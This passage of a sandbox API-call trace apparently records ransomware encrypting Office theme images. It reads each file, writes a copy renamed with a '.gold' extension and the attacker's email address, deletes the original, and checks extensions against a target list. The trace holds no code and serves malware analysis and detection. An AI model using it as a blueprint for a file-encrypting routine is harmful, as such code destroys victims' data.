lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0041.020] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.021] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.021] SetEndOfFile (hFile=0x200) returned 1 [0041.021] CloseHandle (hObject=0x200) returned 1 [0041.022] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.022] SetEndOfFile (hFile=0x1fc) returned 1 [0041.023] CloseHandle (hObject=0x1fc) returned 1 [0041.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0041.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.023] lstrlenW (lpString=".doc") returned 4 [0041.023] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.023] lstrlenW (lpString=".docx") returned 5 [0041.023] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.023] lstrlenW (lpString=".pdf") returned 4 [0041.023] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.023] lstrlenW (lpString=".xls") returned 4 [0041.023] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.023] lstrlenW (lpString=".xlsx") returned 5 [0041.023] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.023] lstrlenW (lpString=".ppt") returned 4 [0041.023] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.023] lstrlenW (lpString=".zip") returned 4 [0041.023] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.023] lstrlenW (lpString=".rar") returned 4 [0041.023] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.024] lstrlenW (lpString=".bz2") returned 4 [0041.024] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString=".7z") returned 3 [0041.024] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".dbf") returned 4 [0041.024] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".1cd") returned 4 [0041.024] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".jpg") returned 4 [0041.024] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".doc") returned 4 [0041.024] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString=".docx") returned 5 [0041.024] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.024] lstrlenW (lpString=".pdf") returned 4 [0041.024] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString=".xls") returned 4 [0041.024] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.024] lstrlenW (lpString=".xlsx") returned 5 [0041.024] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.024] lstrlenW (lpString=".ppt") returned 4 [0041.024] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".zip") returned 4 [0041.024] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.024] lstrlenW (lpString=".rar") returned 4 [0041.024] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.024] lstrlenW (lpString=".bz2") returned 4 [0041.024] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString=".7z") returned 3 [0041.024] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".dbf") returned 4 [0041.024] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".1cd") returned 4 [0041.024] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0041.024] lstrlenW (lpString=".jpg") returned 4 [0041.024] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.024] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.024] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.253] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2044) returned 1 [0041.253] CloseHandle (hObject=0x1e4) returned 1 [0041.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0041.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.253] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.253] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.297] GetLastError () returned 0x0 [0041.297] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7fc, lpOverlapped=0x0) returned 1 [0041.299] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x800, lpOverlapped=0x0) returned 1 [0041.299] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.299] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.300] SetEndOfFile (hFile=0x19c) returned 1 [0041.300] CloseHandle (hObject=0x19c) returned 1 [0041.300] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.300] SetEndOfFile (hFile=0x1e4) returned 1 [0041.301] CloseHandle (hObject=0x1e4) returned 1 [0041.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.301] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0041.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.301] lstrlenW (lpString=".doc") returned 4 [0041.301] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.301] lstrlenW (lpString=".docx") returned 5 [0041.301] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.301] lstrlenW (lpString=".pdf") returned 4 [0041.301] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.301] lstrlenW (lpString=".xls") returned 4 [0041.301] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.301] lstrlenW (lpString=".xlsx") returned 5 [0041.301] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.301] lstrlenW (lpString=".ppt") returned 4 [0041.301] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.301] lstrlenW (lpString=".zip") returned 4 [0041.301] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.301] lstrlenW (lpString=".rar") returned 4 [0041.301] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.301] lstrlenW (lpString=".bz2") returned 4 [0041.301] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.301] lstrlenW (lpString=".7z") returned 3 [0041.301] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".dbf") returned 4 [0041.302] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".1cd") returned 4 [0041.302] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".jpg") returned 4 [0041.302] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".doc") returned 4 [0041.302] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.302] lstrlenW (lpString=".docx") returned 5 [0041.302] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.302] lstrlenW (lpString=".pdf") returned 4 [0041.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.302] lstrlenW (lpString=".xls") returned 4 [0041.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.302] lstrlenW (lpString=".xlsx") returned 5 [0041.302] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.302] lstrlenW (lpString=".ppt") returned 4 [0041.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".zip") returned 4 [0041.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.302] lstrlenW (lpString=".rar") returned 4 [0041.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.302] lstrlenW (lpString=".bz2") returned 4 [0041.302] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.302] lstrlenW (lpString=".7z") returned 3 [0041.302] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".dbf") returned 4 [0041.302] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".1cd") returned 4 [0041.302] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0041.302] lstrlenW (lpString=".jpg") returned 4 [0041.302] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.302] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.302] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.303] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1293) returned 1 [0041.303] CloseHandle (hObject=0x1e4) returned 1 [0041.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0041.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.303] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.303] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.304] GetLastError () returned 0x0 [0041.304] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x50d, lpOverlapped=0x0) returned 1 [0041.306] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x510, lpOverlapped=0x0) returned 1 [0041.306] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.306] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.306] SetEndOfFile (hFile=0x19c) returned 1 [0041.306] CloseHandle (hObject=0x19c) returned 1 [0041.307] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.307] SetEndOfFile (hFile=0x1e4) returned 1 [0041.307] CloseHandle (hObject=0x1e4) returned 1 [0041.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.307] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString=".doc") returned 4 [0041.308] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.308] lstrlenW (lpString=".docx") returned 5 [0041.308] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.308] lstrlenW (lpString=".pdf") returned 4 [0041.308] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString=".xls") returned 4 [0041.308] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString=".xlsx") returned 5 [0041.308] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.308] lstrlenW (lpString=".ppt") returned 4 [0041.308] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString=".zip") returned 4 [0041.308] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString=".rar") returned 4 [0041.308] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString=".bz2") returned 4 [0041.308] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.308] lstrlenW (lpString=".7z") returned 3 [0041.308] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString=".dbf") returned 4 [0041.308] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString=".1cd") returned 4 [0041.308] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString=".jpg") returned 4 [0041.308] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.308] lstrlenW (lpString=".doc") returned 4 [0041.308] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.308] lstrlenW (lpString=".docx") returned 5 [0041.308] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.308] lstrlenW (lpString=".pdf") returned 4 [0041.308] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString=".xls") returned 4 [0041.308] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.308] lstrlenW (lpString=".xlsx") returned 5 [0041.308] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.308] lstrlenW (lpString=".ppt") returned 4 [0041.309] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.309] lstrlenW (lpString=".zip") returned 4 [0041.309] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.309] lstrlenW (lpString=".rar") returned 4 [0041.309] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.309] lstrlenW (lpString=".bz2") returned 4 [0041.309] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.309] lstrlenW (lpString=".7z") returned 3 [0041.309] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.309] lstrlenW (lpString=".dbf") returned 4 [0041.309] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.309] lstrlenW (lpString=".1cd") returned 4 [0041.309] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0041.309] lstrlenW (lpString=".jpg") returned 4 [0041.309] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.309] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.309] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.309] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=20575) returned 1 [0041.310] CloseHandle (hObject=0x1e4) returned 1 [0041.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0041.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.310] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.310] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.310] GetLastError () returned 0x0 [0041.310] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x505f, lpOverlapped=0x0) returned 1 [0041.312] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2eefc9c, 